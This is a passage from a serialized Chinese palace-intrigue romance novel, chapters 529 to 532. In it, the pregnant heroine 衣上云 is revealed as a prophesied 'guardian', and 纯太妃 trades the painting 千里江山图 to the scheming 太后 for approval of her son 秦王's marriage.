“老天爷啊,这到底是怎么了?” 一个人抱着膝盖坐在山坡上,眉头紧紧皱着,自言自语了许久,显然终是百思不得其解。 一抬起头,忽看到天边成群结伴正展翅翱翔的飞鸟,不禁触景生情,羡慕极了地说:“天高任鸟飞,海阔凭鱼跃。倦鸟尚且都能得以归巢,我又何时才能拥有属于自己的自由?” 正暗自悲伤,忽然,从背后传出一个小丫头的声音:“公主殿下,太妃娘娘有请!” 闻声,衣上云紧忙回过神来扭头朝声音所发出的方向望了去,见原是纯太妃身边的欢儿来寻她,顿时朝其扬起了笑容。 可想起不久前,与纯太妃之间并不算怎么友好的那场谈话,衣上云心里隐隐觉得似是又将有什么不好的事情发生,于是在心里默默地道:“果然,该来的还是来了。” 可事到如今,似乎她已经完全被困在了这里,一切都身不由已。 于她而言,这一路走来,到底最坏的事情是什么?她还有什么是不能承受的呢? 索性什么也不想了,因为无论是什么,她都必须面对。 于是,只僵住了脸上的笑容片刻,便依然笑着轻声应了句道:“好,我这就过去。” 说完正要立起身来,不知是否因为心中思虑太多,只觉眼前一黑,她忙伸手上去扶住了额头。 加之因为近日里连续下了好几天的雨,脚下的草也尚还有些滑,衣上云一脚轻轻滑了一下。 欢儿见了,眼疾手快地紧忙上前了两步过去将其扶住,关切地说:“公主小心!公主可是哪里有不舒服?回去务必赶紧让乐太医仔细替您瞧一瞧。如今公主可是已有了身子的人,凡事务必要多仔细当心着点儿才是。” 衣上云解释说道:“别担心,我没事。许是在这里坐久了有些累,回去歇歇便好,不必惊动府里的其他人了,方才真是多亏了你!” “公主不必客气!但……还是请乐太医来瞧瞧比较好。”欢儿坚持道。 衣上云道:“真的不必了,难道你忘了我自己就是一名医者吗?” 欢儿认真地看向她的眼睛,忽然想起以前在城南桃花店村那段快乐的时光来,感慨地说:“我是真的没有想到,若曦竟然会是公主。” 衣上云望着欢儿依旧如往昔天真不变的脸,只对其露出淡淡的笑来,却在心里默默地道:“假如我告诉你,我宁愿自己一辈子只是桃花店村里那个什么都忘记了的若曦,你会相信吗?” 然千言万语,最后衣上云只将其变为催促了一句:“快走吧,别让太妃娘娘等着急了。” 话一说毕,俩人便一道走了回去。 被欢儿一路小心翼翼地搀扶着,一直到了紫和轩门口,欢儿方才撒开了手先进去禀报。 衣上云顿住脚步,在门外深吸了口气后,亦兀自抬起脚来迈过门槛走了进去。 第五百二十九章:烫伤 紫和轩内,纯太妃的目光正入神地落在面前的一幅青绿色画卷上,似是陷入了某种沉沉的回忆中。 衣上云深知自己失信于人,尽管并非自己所愿,可终是没能遵守俩人之前的约定。遂一迈步进去,便径自上前朝其诚恳地俯身跪拜行礼:“给太妃娘娘请安!” 一室寂静,唯有香烟袅袅升起。 纯太妃的目光却并未因她真挚的声音而被打断离开画卷,稍后只自顾自对她一如往常地心平气和道了句:“来了,起来吧!” 衣上云亦并未急着起身来。 打从她决定要离开的那日夜里,被轩辕翰撞见阻拦复又带回秦王府的那刻起,她便清楚眼前的这一刻迟早会来的。 无论如何,她理所当然应该给她一个交代。 于是,继续跪着对其开口解释道:“太妃娘娘明察,并非我不遵守约定。我自知罪孽深重,那天夜里,原本我已经收拾好行囊准备离开。天涯海角,隐姓埋名,从此永不再踏入西秦半步,可是……可是……” 话说至此,回忆起与轩辕翰之后所发生的种种,正想着该如何继续开口,忽被纯太妃扬起一只手来挡了回去:“你不必再向本宫解释什么,本宫都已经知道了。” 衣上云听了这话,以为纯太妃真的恼了自己,要反悔以药草为交换这件事,顿觉心里咯噔一下,稍作思索,一时间更加紧张了起来。 想想自己离开龙虎城已经有好一段时日了,眼下正值救灾的紧要关头,龙虎城的情况实在已经不能再耽搁下去了。 若是因为自己的原因而牵连无辜,以至得不到这批救命药草。届时,不但之前那么多人日日夜夜所有的努力和牺牲都白费了不说,且全城的百姓因此而耽误了治疗,疫情若是继续再向四周蔓延,后果将不堪设想。 一念至此,她倏地抬起头来遂紧紧地盯视着纯太妃的脸,向其祈求解释说:“不,娘娘,请您一定要听我解释。那天夜里,我确实已经悄无声息地离开了,可万万没想到刚出府,便碰到了秦王殿下,殿下他,他……” 每每想起那张看上去冰冷霸道的脸孔,最后却总是那般的让自己难以抗拒,她总是拿他没有一点儿办法。 左右思索之间,纯太妃忽然再次开口叫她:“你过来!” “我……” 闻声,衣上云的思绪被再次打断,先是心间不明所以地犹豫了一下,最后缓缓起身来朝其身边走了过去。 纯太妃俩只手执起面前的画卷,深情地介绍道:“这幅《千里江山图》中的烟波浩渺,层峦叠起,皆是先帝在世时一笔一划亲手所绘,是先帝对我西秦国最好的愿景……” 时过境迁,早已物是人非,可回首往事,昔日里的一幕幕却仿佛昨日重现一般,只见纯太妃竟情不自禁地于眼角里泛起了点点泪花。 顿了顿,脸上转而浮起无限忧伤,她继续说道:“如今的西秦国虽然依旧风雨飘摇,可本宫始终深信,先帝的期许,在不久的未来一定会得以实现。” 说着,她将目光缓缓移动,坚定地看向了衣上云的脸。 四目相对间,衣上云忽又想起在城南时候俩人短暂的朝夕相处,始终都觉得眼前的这个女人似是刻在了骨子里的那份高贵气质,不同于世间任何女人。 片刻后,纯太妃收回了视线。 她轻轻放下手里的画卷,起身来一边朝窗前的软榻走去,脸上略带着失望道:“只可惜,如此山河壮丽的西秦国,无论是先帝,亦或本宫,怕是皆都永远也看不到了……” 闻声,衣上云忽地回过神来,紧随其后过去安慰其道:“不会的,太妃娘娘,您会看到的。” 纯太妃听了,背对着她在心里暗暗窃喜,果然自己不曾看错过她,曾经的情谊,她并不曾完全忘记。 遂在榻边落座下后,伸手过去端起案几上的一盏茶来想要润润喉。 衣上云瞥见盏中茶汤已然早无半丝热气冒出,便眼疾手快地将其一把抢了过去,重新替其倒了一盏。 复又朝其递上前去,关切地道:“茶已经凉了,娘娘换盏热的吧。” 此时,方才还只是暗藏于心底的欣慰,终于再也藏不住地浮现到了脸上,她看了她一眼,抬手接过衣上云递上来的热茶,舒心极了的抿了一口。 随后道:“你也坐吧。” “多谢太妃娘娘。”衣上云答应着也落座下来。 纯太妃又意味深长地道:“如果这一切都只是场梦,如果这里还是我们在城南初次相识的时候,如果你后来不曾离开过本宫身边,那该多好!” 听了这些话,回忆往昔,衣上云也沉默了下来。 偌大的宫殿里,俩人再次陷入了寂静之中。 不知过了多久,纯太妃忽然再次开了口,却是乍出一句问:“倘若这片灵空大陆,真的终需由一位明君来统一……” 说着,顿了顿,她将目光再次看向衣上云此刻正低垂着的脸,认真地问她:“西秦,东宁,你会选哪个?” 闻此,衣上云忽地回过神来,惊看向她的脸,一时间显然不知该如何作答:“我……” 犹豫了一会儿,却见纯太妃久久对自己的答案所期待的眼神是那般的坚定,怕是自己想要躲也躲不过去了。 遂默想了一瞬,道:“回太妃娘娘,灵空之争最后究竟花落谁家?我想无论是西秦,还是东宁……自古以来天下之争,无非是得民心者得天下。” 听了她的回答,纯太妃笑了笑,再次伸手想要去拿茶盏,衣上云复又斟茶。 虽说此话也不无道理,但是纯太妃似乎也和大多数人一样更愿意相信古老的传说。 于是,她试探着问:“难道你没听说过在这片大陆上,应是得守护者得天下吗?” 不知不觉间,一边斟茶,一边听着纯太妃的话入了神的衣上云,茶水已没过了手里的茶盏溢了出来竟不自知。 待其终于发觉的时候,溢出的茶水早已顺着案几滴滴答答地流了下去,滴到了纯太妃的衣角。 衣上云忽地回过神来,一发现便急忙掏出丝帕来上前过去替纯太妃擦拭衣角。 就在其紧张的起身之间,刚刚斟好的一盏热茶整个被打翻到了自己的手上,她却毫不顾忌,只一个劲地朝纯太妃连连致歉:“对不起,对不起……” 纯太妃则拉起她的手道:“无妨,无妨,倒是仔细你的手有没有被烫着?” 听到里面传出一片吵杂的声音,一直守在外面准备着随时侍奉的张嬷嬷和欢儿急急进入殿内来,一看到眼前的情景,忙上前帮忙。 张嬷嬷着急地替其检查,道:“娘娘没事吧,没被烫着吧?” 欢儿赶紧动手收拾眼前残局。 衣上云依旧连连道歉:“对不起,对不起,都是我的错,都怪我不小心。” 纯太妃急道:“本宫没事,赶紧看看她的手,方才一定是被滚水给烫着了。” 闻声,张嬷嬷又转而急着去拉衣上云藏在身后的一只手来检查,只听衣上云发出:“嘶……”的一阵闷哼痛声。 众人这才看清她的左手手背被开水烫的一片通红。 张嬷嬷一见,即刻扬声吩咐门外的婢女:“快点拿最好的烫伤膏进来!” 就这样,衣上云被众人强行按坐在榻上,纯太妃亲自动手,小心翼翼地替其敷好药膏,并包扎好,可即便这样,心里还是不放心。 就在这时,一旁的欢儿又开口叫道:“呀,姑娘的裙子怎么湿了?” 纯太妃顺着欢儿的手所指向的位置,清晰地看到其腹部的衣裙不知何时被打湿,已经渗透了一大片。 便急声吩咐道:“欢儿,还不快点带姑娘进去换一套干净的衣服。” 欢儿正要上前,衣上云忙起身来阻止道:“近日里天气已暖,衣裙打湿这一点点不碍事的,我回去自己换便可,不必劳烦了。” 欢儿道:“那怎么行?你的手刚受了伤,不方便的,还是让我帮你吧!” 眼看着欢儿的手就要碰到自己,衣上云忙伸出一手将其拦住,坚持着道:“不必了,真的不必了,我自己可以的……” 就在俩人争执之间,纯太妃再次开口严厉地说话:“好了都不要吵了!” 闻声,殿内所有人都安静了下来。 纯太妃道:“如今,你也已经是快要做母亲的人了,如果你连自己都照顾不好,将来又怎么能照顾好孩子呢?难道你不明白,这样做,很容易感染风寒吗?” 此时,衣上云显然只得低头认错:“对不起,是我不对。” 张嬷嬷顺势使了个眼色,衣上云便乖乖被欢儿带了下去,张嬷嬷紧随其后亦跟了进去。 没过多久,一名婢女从里面匆匆走了出来,近身到纯太妃的身边附身下去,在其耳边窃窃私语起来。 只见纯太妃忽地瞪大了眼睛,对其惊叫了一声:“真的?你真的看到了?” 第五百三十章:一切都有母妃 “真的?你真的看到了?” 婢女极认真地点了点头。 纯太妃顺势一手搭在案几上,正在若有所思着。 就在这时,从寝殿里缓缓走出一位身着一袭粉色刺绣褥裙,发髻上插着一对流苏凤簪的女子,对花情脉脉,对月步徐徐。 即便是在座皆为女人,亦是让人顿觉眼前一亮,仿佛所见乃是天人。 此刻的衣上云,明眸皓齿,肤白貌美,身材高挑,气质惊艳,加上这套仿佛是为其专门量身定制的名贵刺绣褥裙装饰,任谁也看不出来她已是个快有三个月身孕的女子。 此情此景,一直怔愣在一旁的纯太妃直觉眼前的这一幕,是那样的似曾相识,仿佛多年以前在哪里见过似的。 而刚刚婢女出来告诉她,在为其更衣的时候发现她身上果然有一状似凤凰的粉色印记。 “没错,凤凰印记已然出现,守护者后人,她的确就是当年那幅画上的女子后裔。” 她呆呆地望着衣上云的脸,仿佛想要穿越时空回到过去那一刻,最后在心里肯定极了地道。 “娘娘,娘娘……” 直到耳畔传来张嬷嬷呼唤的声音,纯太妃的思绪方才被其打断。 她强压住心底的震惊与激动,坐在一旁将其周身打量了一番,开口沉声说道:“现在这样不是挺好的吗?” 衣上云遂低头亦打量了一下自己身上此刻华丽的衣着,对于方才的混乱实在有些难为情,于是急忙歉声道:“都是我不好,笨手笨脚的,劳烦各位为我担心了。” 可一想到纯太妃一定是因为自己的言而无信恼了自己,又转而在其面前跪了下来,祈求道:“可是太妃娘娘,恳请娘娘务必一定要救救我龙虎城的百姓,一定要将药草尽快送达龙虎城里,否则……” 显然,对于日益严峻,愈来愈难以控制的疫情发展,衣上云想都不敢想,只能着急的朝其求说:“娘娘让我做什么都可以,只要能救那些可怜的百姓,他们是无辜的。” “天意,这真是天意!茫茫人海,竟然真的是你。冥冥之中,看来这一切都是上天早有安排。”纯太妃却叹声道。 “只怕这辈子,你永远都离不开秦王府了。”忽然,她无比严肃地说了这句话。 “什么?太妃娘娘您说……这辈子……我都……娘娘这话是何意?”衣上云听了,朝其瞪大了双眼惊诧地问。 而纯太妃似是已在心里暗暗做了某种决定,深吸了口气后,忽然开口问她:“罢了,如果本宫要你一生一世,再也不许踏出秦王府半步,你可愿意?” 此话一出,殿内众人皆是惊看向面前的这位主子,对其所语惊讶不已。 衣上云虽是心里惊讶,面前的这个之前不想自己的儿子受到伤害,曾是那样的想要自己离开秦王府,走得越远越好的女人为何会忽然改变主意,可她显然已顾不得这许多。 遂默默地在心里想了一瞬,对着纯太妃高高在上对自己期盼的眼神,开口答应说:“我愿意。” 对于衣上云的回答,众人同样对其投去了意想不到的目光。 见纯太妃似是眼里对自己的回答充满了疑惑和不解。 她再次信誓旦旦认真地道:“我愿意留在秦王府当牛做马,以感激太妃娘娘的救命之恩。此生,再也不踏出秦王府半步。” 一室寂静,鸦雀无声。 就在所有人都等待着接下来会发生什么的时候,纯太妃再次开口道:“好,你务必好生记着你今日对本宫的承诺。” 衣上云目光定定地与其对视着。 纯太妃最后挥了挥手,吩咐其道:“在这里大半日,你也累了,下去歇着吧。” “多谢太妃娘娘。” 衣上云这才朝其行了个颇为认真的跪拜大礼后站起身来,转身踱步离去。 眼看着正要抬步跨过门槛出去时,忽闻身后又响起一阻止的声音来:“站住!” 衣上云遂顿住脚步落下,转身回过头去问:“太妃娘娘还有何吩咐?” 纯太妃想了想,对其认真交待说:“记住,无论接下来将会发生什么?从你此刻踏出紫和轩的这一刻起,你的身份,便只是我西秦国一药师府上的嫡女。” 衣上云稍一思索,不解地问:“太妃娘娘这是何意?” 纯太妃并未往下细说了去,只道:“你不必知道本宫为何要这样做,以后你自会知道的。好了,去吧!” 至此,衣上云方才转身缓步离开。 直到其身影彻底消失在众人面前,纯太妃方才起身,在张嬷嬷的搀扶下,缓缓回到了书案前。 目光再次落在案上的《千里江山图》所绘的烟波浩渺之间,她轻抬起一只手来用指尖认真地抚摸着其间的一山一水,一草一木。 这时,同样对其身份震惊极了的张嬷嬷压低了声音开口说:“太妃娘娘,您真的打算把守护者一辈子留在秦王府?” 纯太妃道:“本宫也不知道,本宫只是忽然发现自己做错了,当初不该让她离开。她若真的不在了,殿下定会伤心难过,这是本宫最不想看到的。” 张嬷嬷想了想,又问:“那娘娘您打算让她以什么身份留在秦王府呢?” 闻此,纯太妃长长地舒了口气,张嬷嬷似是已有些明白了主子心中所想,道:“莫非……娘娘是想让守护者留在殿下身边。” 纯太妃没有说话,其实她也不知道自己这样做是对是错。 张嬷嬷忧心极了地道:“娘娘此举太过于冒险,且先不说有朝一日宫里若是知道了此事会怎样?眼下,如果她腹中的孩子果真如她所言,并不是殿下的,到时那又该如何处置?” 对于这其中利害,纯太妃心里又何曾不知,可她却也只能在心里默默地道:“希望你不要让本宫输?否则……” 张嬷嬷看着主子沉默的脸,满腹意味深长。 直到傍晚,主仆俩方才推门而出。 却是远远地,便看到轩辕翰在一边花园里独自舞剑。 张嬷嬷道:“这次殿下被皇上禁了足,真是难为殿下了。” 纯太妃却道:“致使皇儿心中不快的并不是被皇帝禁了足,而是如何让那永宁公主名正言顺。” 顿了顿,又道:“眼见着永宁公主腹中的胎儿月份日渐地大了,就快要藏不住了。可这个节骨眼上,偏偏闹出了这桩事,皇儿他就算未被禁足,去求皇帝,皇帝向来多疑,定不会应允!” 张嬷嬷亦忧心极了:“那可该如何是好?” 纯太妃心疼极了地看着儿子的脸,许久后,最后似是在心底里下定了什么决心,定了定神后提步朝其身边走了过去。 轩辕翰一瞥见纯太妃走了过来,忙收起势后,提剑上前朝其请安:“天色已晚,母妃怎么过来了?” 纯太妃掏出帕子来一边替其拭汗,一边笑着道:“母妃出来透透气,皇儿为何独自一人在此习剑,程良呢?” 轩辕翰一边将纯太妃扶到凉亭里落座,一边解释说:“程良……儿臣派他外出去办事了,想必也快回来了!” 纯太妃倍感欣慰地道:“从小到大,母妃知道你懂事,什么都自己扛着,不想让母妃替你担心。” 纯太妃替其拭完汗后,一手轻抚着轩辕翰脸上的轮廓,道:“可母妃只想告诉你,无论何时,也无论你的能力有多强,在母妃的眼里,你永远都只是个孩子。” 闻此,轩辕翰一时间竟不知该如何回应她,只默默道了句:“母妃……” 纯太妃拉着轩辕翰的手,安慰道:“放心,一切都有母妃。” 翌日午后,又一个阳光明媚的好天气。 纯太妃在张嬷嬷和欢儿的陪同下,早早便进了宫。 “娘娘您真的打算要这么做?”即便此刻,张嬷嬷似乎依然想要阻止纯太妃过于冒险的行为,看到旁边并无外人,开口轻轻地问。 “本宫已经派人打听过,宫里应该尚未得知衣府嫡女,便是东宁国寻获的嫡公主。事已至此,如今只能赌一赌了。”纯太妃亦压低了声音,道。 “可这还是太冒险了!”张嬷嬷忧心极了地道。 至此,纯太妃便不再说话。 眼看着,马上就要到太后所居住的永安宫门前。 就在这时,从另一条道上,皇后带着俩名宫女亦朝永安宫而来。 远远地,一看到似是纯太妃入宫来的身影,皇后遂加快了几步脚下的步伐,上前近身到纯太妃的面前朝其行礼问安:“儿臣见过母妃,母妃今儿个怎么有空进宫来了?” 纯太妃笑了笑,道:“本宫闲来无事,入宫来想找太后聊聊,皇后这是……” 皇后解释道:“母妃有所不知,母后近日里不知为何总是嗜睡,儿臣便命人炖了些滋补养生的参汤,特地给母后送去提提神。” 纯太妃明白后,赞叹道:“哼……太后难得有你这样的好儿媳,也算是她的福气。” 皇后谦虚道:“母妃谬赞,这是做为媳妇儿的本分。” 说着,俩人便一同踏进了永安宫…… 第五百三十一章:割爱 永安宫里里外外,此刻到处一片寂静。 殿内一角上的紫檀案几上,安置着个莲形嵌铜琉璃香炉,造型精巧别致。 铜质底柱,琉璃炉身,两侧双耳,各坠一环,两圈铜质镶边将炉身分隔成上下两部,炉身器表浮着数圈突起的小点,炉盖近顶部镂有错落有致的小孔,丝丝缕缕的香烟袅袅,正从香炉里缓缓升起,散发出一种独特的香气来。 一日当中,属午时阳气最盛,阴气衰弱,是人体精气“合阳”之时,故而当应小憩以养阳气。 对于自己每日子午觉的时间控制上,当朝太后对此尤为重视,不允许早一刻,亦不能晚一刻。 此刻午时刚过,一直静静守在殿外小心翼翼地等着伺候的一众婢女们,一听到嬷嬷熟悉的召唤声传出,便纷纷进去伺候。 太后直立起身,展开着双臂,几名婢女紧忙上前相互配合着,动作娴熟地替其穿戴好一袭黑色袍。 接着,一边朝着梳妆台前落座下来,一边对身边伺候的老嬷嬷说道:“近日哀家一天到晚总觉得这身子沉得很,就连这子午觉,几十年来的老习惯,也已不能自控。每每都是翻来覆去,最后好不容易入了眠,却又总是接二连三的做梦,还须得有人在旁叫醒了才行。” 话刚说完,便又不由自主地张开口来打了个明显意犹未尽的哈欠。 那老嬷嬷一边替其梳头,一边回忆着说:“太医每日都是按时来宫中请脉,且说太后娘娘身子一切正常,并无不妥之处。想来,许是御膳房近日里新来的厨子手艺颇好,娘娘食之过饱所致。不如,待会儿让老奴伺候娘娘出去散散步吧。这时候,御花园里的景致可正美着呢!” 纵使心里再不愿承认,可毕竟实属已是上了年纪的人。 听了老嬷嬷的话,再端详着面前菱花镜中明显已人老珠黄,且微微发福的容颜。 仔细想想,自己的这种情况,明显是从纯太妃的再次归来开始的。 千算万算,她怎么都没算到,当年的那场火,居然没能烧死她。 当年自己那般天衣无缝的安排,到底是谁救了她? 这么多年,她现在回来,又到底想干什么?看来,接下来,俩人之间难免势必又是一场更加激烈的争斗。 “哀家倾尽所有辛辛苦苦得到的这一切,谁都别想夺走!” 心里一边默默盘算着,一边伸出两根手指去缓缓划过自己的脸庞,最后只漫不经心地应了一声:“嗯” 就在这时,一名婢女怯怯地走了进来禀报:“太后娘娘,皇后娘娘来给您请安了。” 太后听了,倍感欣慰地说:“难得皇后这几日日日来给哀家请安。这些年,后宫里的事,也是着实辛苦了她。” 老嬷嬷迎合道:“谁说不是呢?皇后娘娘贤良淑德,不但将太子和公主都养的极好,且这些年来将后宫各所打点的更是井井有条。今若是听到太后娘娘如此夸赞,一定会很感动的。” “去请皇后进来吧。” 太后嘴角一斜,淡淡地笑了笑,吩咐婢女说。 岂料婢女并没有退出去。 太后透过面前的菱花镜,不经意地瞥见进来禀告的婢女此时脸上仿佛挂着一丝难色,于是便追问:“为何还愣在这儿?可是还有什么要禀报吗?” 婢女忽地回过神来,紧忙微微垂首下去,嘴里有些支支吾吾地说:“回太后娘娘,是……是纯太妃,纯太妃也在殿外候着要见太后娘娘。” 闻声,太后顿时卸去了方才挂在脸上的笑意,转而有些纳闷地道:“纯太妃……这还真是说曹操,曹操到,她今儿进宫来找哀家做什么?” 这时,一旁的老嬷嬷也已经替其梳妆完毕,似是对于纯太妃一向都是无事不登三宝殿,而这次却不请自来的举动也是颇为意外。 稍一思量,开口说道:“近日听闻陛下在朝堂上因为防疫的事禁了秦王的足,那纯太妃……她该不会是来替秦王向太后娘娘您求情的吧?” “因为秦王……来向哀家求情?”太后说着,与老嬷嬷相互对视了一眼。 老嬷嬷朝其肯定地点了点头。 心里着实有些意外,遂迟疑了一会儿后,太后吩咐婢女道:“那就请皇后与纯太妃一起进来吧。” “是”婢女答应着,终于缓缓后退了出去。 刹那间,往事一幕幕,浮现了出来…… 那时的先帝,年轻气盛,血气方刚。 纯太妃比自己先两年入宫,俩人貌似亲密无比,嘴上整日里姐姐妹妹叫的比谁都亲,却是为了争宠,她不惜使出了浑身解数。 那时,先帝有任何稀奇玩意儿,纯太妃总是头一份,下来才是自己。 尤其是先帝亲手所绘制的那幅《千里江山图》,任她有多么想要得到,最后还是到了纯太妃的手里。 纯太妃在先帝面前得到的那许多偏爱,让她即便是在先帝已故多年,如今回想起来依旧都嫉妒的发狂。 若不是自己有孕在先,又多了些手段,怕是今日太后的位置,就不会是她的了。 一念至此,太后忽然间打起精神来,对着菱花镜中自己的脸,狠狠地说:“既然老天非要留你一命,那哀家倒是要看看,是你的命硬,还是哀家的心硬。就算重来一遍,哀家依旧不会放过你。终究,你将死在哀家的手里,这是你的命数!” 梳妆完毕,老嬷嬷将其扶出了寝殿。 一见太后徐徐出来。 皇后与纯太妃纷纷朝其行礼。 “给太后请安。” “儿臣给母后请安。” 太后落座后,对二人道:“今儿你们俩倒是赶巧,竟遇一块儿了,都坐吧。” 俩人互相对视了一眼,亦各自落座了下来。 见太后对纯太妃这次似乎并没有了之前的热情,皇后便先开口说话,打破了这片寂静:“母后,儿臣听闻母后近日里总是嗜睡,却又睡不好。便请教了太医,亲自炖了这盅既滋补养生,又有提神醒脑之效的参汤,还望母后试试。” 说话间,便有婢女已经上前将参汤送到了太后的面前,双手将茶盘高高举过头顶。 老嬷嬷上前从茶盘里将参汤盛出,回头递到了太后手边。 太后似乎对此汤尚还喜欢,接过后将其一饮而尽,拭了拭嘴角的汤渍后,道:“此汤甚好,哀家很喜欢,皇后有心了。” 皇后听了,脸上露出满意的笑容来,道:“母后喜欢便可。” 太后紧接着道:“皇后要侍奉皇上,还要管理各宫事务,亦要照顾年幼的太子。以后这些小事不必亲自动手,交代下面的人做便可,不必如此操劳。” 皇后道:“儿臣不累,照顾母后亦是儿臣不可懈怠的责任。” 顿了顿,太后方才微微看了一眼坐在一边沉默不语的纯太妃,佯装客气地问:“对了,今儿姐姐怎么也有空来宫里了?” 纯太妃嘴角一勾,扬起一抹浅笑来,道:“记得太后之前尤为喜欢先帝亲手所绘制的那幅《千里江山图》,近日里,在王府整理旧物的时候翻了出来,今儿个便将它特地带来敬献给太后。” “你说什么……《千里江山图》……” 太后震惊之余,心里又暗暗地道:“哼,你有这么好心。” 一旁的皇后听了,也露出一脸惊色。 这时,一婢女上前来,将纯太妃递上的画卷小心翼翼地接了过去,送到了太后的眼前。 太后使了个眼色,便有另俩名婢女上前将画卷轻轻展开。 顿时,太后对其瞪大了眼睛,忙立起身来朝画卷走过去,又一次仔细审阅后吃惊极了地道:“这……这真是先帝在世时最喜欢的那幅《千里江山图》” 纯太妃肯定地点了点头。 就连坐在一边的皇后瞥见,亦是惊讶不已:“如此珍贵的东西,纯太妃怎会舍得拿来献与太后。” 一时间,太后喜欢的不得了。可静了静,又疑惑地问:“你这是什么意思?无缘无故为何要将《千里江山图》献与哀家。” 纯太妃想了想,道:“不瞒太后,其实,此次本宫进宫来面见太后,乃是为了皇儿……” 未及其将话说完,太后便道:“你想哀家替你向皇上求情,解了秦王的禁足?” 纯太妃笑了笑,道:“关于西秦亦应积极开展防疫之事,若真是皇儿无中生有,有意制造恐慌,倘若他真的错了,他自该被禁足,且禁足那是便宜了他。不过,先帝曾说过,后宫不得干政。本宫从来都不敢忘记先帝的训诫。所以,今日,本宫并非因此而来。” 看到太后一脸疑惑,纯太妃深吸了口气,索性脱口即道:“今日,本宫乃是为了皇儿的婚事前来。” 太后听了,恍然大悟,遂将目光倏地看向了皇后,与其对视了一眼。 可一提起这件事来便生气,遂对其质疑地道:“你是为了秦王的婚事?” 说着,再次缓缓落座回去,道:“可你不是瞧不上之前哀家与皇帝给秦王选的王妃嘛,且还全然不顾一切后果的将那东宁公主逐出了王府。你可知,为了平息东宁皇室的愤怒,皇帝费了多少人力财力吗?” 第五百三十二章:可怜天下父母心 纯太妃自是在入宫来之前便早已料到,此次进宫,太后必定会因之前的事而恼怒责备。 于是便顺着她的意,解释说道:“太后息怒,臣妾并非有意要挑起俩国事端,而是因为秦王有幸得陛下重用,秦王府若是由一敌国公主做女主人的话,实在是不妥。” 顿了顿,紧接着说:“听闻那永乐公主自小便甚得东宁太后疼爱,又启会是真心为了两邦交好,将爱女奉上。东宁太后野心勃勃,为了其子能登上皇位,更是不惜一切代价,不择手段。若是万一被其窃取了我西秦机密,那秦王府可就是西秦国的千古罪人了。因此,秦王妃的人选,还是慎重点的好。” 太后听闻纯太妃所说,遂冷冷笑了一声,质问其道:“姐姐这是在责怪哀家和皇帝给秦王选妃不够慎重?以西秦江山为饵,故意想要设计秦王府?陷害秦王?” 纯太妃扬起一丝淡淡的笑来,镇定地说:“太后知道,臣妾并非此意。” 听这俩人的对话,皇后看看这个,再看看那个,着急地想要缓和眼前这种紧张的气氛,却又不知如何插嘴。 纯太妃却是不紧不慢,接着说:“臣妾怎会怀疑太后与陛下?在臣妾不在皇儿身边的这过去的许多年里,若是太后一心想要秦王的命,秦王又岂会安然无恙地活到今日?身为人母,臣妾对太后感恩不尽,谢太后不计前嫌,对秦王多年的眷顾!” “哼……”闻此,太后终于算是平息了些许心头的怒火,遂白了纯太妃一眼,扭过头去。 过了会儿,纯太妃深吸了口气,又道:“如今,臣妾只不过是见秦王早已过了弱冠之年,身边却始终都没个知冷知热的人,做母亲的又怎能心安?故今日臣妾入宫来,就是想和太后商议商议秦王的婚事。” 此话一出,岂料太后对此竟没有丝毫反应,看似兀自只沉浸在欣赏那幅《千里江山图》中。 这时,皇后终于再也忍不住,扬起笑脸来开了口:“母后,先前永乐公主之事,既已至此,索性那东宁太后被您的孙女婿所压制,玥儿也算不负众望,最后也算是平息了,母后就不要再生气了。这秦王的婚事,着实是该好好议一议了。” 怎料太后对俩人依旧不理不睬。 这时,纯太妃追随其目光,亦看向了那幅《千里江山图》。 遂又再次放低姿态,道:“臣妾知道,过去都是臣妾的不对,没有好好守着自己的本份。不知本就不该属于自己的东西,即便是得了,亦是不会长久。” 闻此,太后终于再次开了口:“你明白这个道理便好,在这个世上,想与哀家争的人,也要看看自己配不配。” 纯太妃微微垂首,忍气吞声道:“是。” 太后遂吐了口浊气,放下手中的茶盏,问:“不知姐姐看中了朝中哪家的千金?” 纯太妃答曰:“臣妾不敢奢求什么达官显贵,只求是一清白人家的女子即可。” 太后似是明白了什么,道:“看来,姐姐心里对秦王妃的人选,似乎已然有了答案。那就不要藏着噎着了,秦王再怎么说,也算是我皇族中人,选妃也不能太过于寒酸草率。究竟是哪家千金,如此有福能得万人之上,一人之下的秦王青睐?” 纯太妃想了想,道:“是城西一药师府上,小门小户之嫡女!秦王整日里征战沙场,若能有个略通医术的在旁照顾,臣妾也比较放心了些。” “药师……”太后听了,正在思索。 “城西……”一旁静坐的的皇后默默重复了一句,似是忽然间想起些什么。 “怎么?莫非这户人家,是皇后所熟识的?”太后见皇后反应异常,便问。 皇后忽地回过神来,忙解释道:“儿臣久居深宫,怎会识得那些小门小户家的女子,儿臣不识,不识……” 想着既然纯太妃所求也不是什么打紧的人,太后也是便松了口,说:“也罢,如果今日哀家不同意这门婚事,倒显得是哀家不好说话,不近人情,苛待你们母子,哀家便允了。” 闻此,纯太妃瞬间只觉如释重负,遂松了口气道:“谢太后成全!” 目的即已达到,纯太妃自是一刻都不想在此多做停留,匆匆寒暄了几句,便起身离开了永安宫。 “今儿个太后怎么如此爽快地答应了纯太妃的请求?”见其已然离开了众人的视线,太后身旁的老嬷嬷不解地问。 “看在她方才那低声下气的模样,哀家真是解气的很。秦王的婚事,总要许给他,索性所求之人也是个不打紧的,哀家便就允了她。省的以后夜长梦多,节外生枝。”太后道。 说着,遂将目光移到了皇后的身上,问:“你说是不是呢?皇后……皇后……” 然一连叫了好几声,怎料皇后直坐在原地里呆若木鸡,竟一点儿反应也没有,似是沉沉地陷入在自己的思索之中。 直到其身后立着的婢女觉察到她的异常后,方才急急俯身下去伸手摇了摇其胳膊,在其耳畔轻唤起:“皇后娘娘,皇后娘娘,太后娘娘在问您话呢?” 皇后方才顿时回过了神来,急道:“母后问儿臣什么?” 太后瞪了皇后一眼,顿时黑起脸来,问:“皇后这是怎么了,今日里为何三番两次地心不在焉?” 皇后着急地掩饰着说:“启禀母后,秦王的婚事终于有了着落,儿臣心里一时之间喜不胜收,故有些失态,还望母后见谅。” 太后脸上显然有些生气地道:“身为一国之母,母仪天下,无论什么时候,都不要失了态才好。” 皇后道:“母后教训的是,儿臣记住了。” 太后遂叹了口气,轻抿了一口老嬷嬷递过来的热茶,缓声吩咐道:“既然此事已经议定,你便下去与皇帝商量着赶快置办吧!乘着秦王当下正被禁足府中期间,赶紧了了此事才好!” “谨遵母后懿旨,儿臣这就下去命人拟旨操办秦王大婚事宜。”说着,便立起身来道:“儿臣告退。” 太后点了点头,皇后便疾步退了出去。 从永安宫出来,张嬷嬷扶着纯太妃一边朝出宫的方向走,见四下里无人,便气不过地道开了口。 